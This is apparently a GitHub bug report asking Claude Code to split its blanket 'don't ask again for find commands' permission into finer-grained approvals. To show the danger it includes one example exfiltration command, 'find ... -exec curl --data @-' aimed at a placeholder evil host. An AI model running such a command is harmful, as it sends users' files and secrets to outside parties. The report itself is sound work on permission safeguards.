[BUG] "don't ask again for find commands"
Preflight Checklist
- [x] I have searched existing issues and this hasn't been reported yet
- [x] This is a single bug report (please file separate reports for different bugs)
- [x] I am using the latest version of Claude Code
What's Wrong?
Claude Code wishes to operate over all files, so it proposes running a command like find ... -exec grep or find ... -exec sed. It then asks permission to run a Bash command:
│ Do you want to proceed? │
│ ❯ 1. Yes │
│ 2. Yes, and don't ask again for find commands in ...
Not all find commands are created equally. I am OK with Claude Code running find ... -exec grep because this is a read-only command, but I may want to review a command like find ... -exec sed which makes changes to the filesystem, and I am definitely not OK with the prospect of giving Claude Code permissions to run something like find ... -exec curl --data @- https://somewhere-evil.com. Claude Code should ask for more granular permissions.
What Should Happen?
For example,
│ 2. Yes, and don't ask again for find ... -exec grep commands in ...
Error Messages/Logs
Steps to Reproduce
refactor by putting all of the domain models under a unified domain package
Therefore causing Claude Code to reason, eventually:
⏺ Perfect! Now I need to update all import paths throughout the codebase. Let me first find all files that import these packages:
Claude Model
Sonnet (default)
Is this a regression?
I don't know
Last Working Version
_No response_
Claude Code Version
2.0.24
Platform
Anthropic API
Operating System
macOS
Terminal/Shell
Other
Additional Information
_No response_
This issue has 5 comments on GitHub. Read the full discussion on GitHub ↗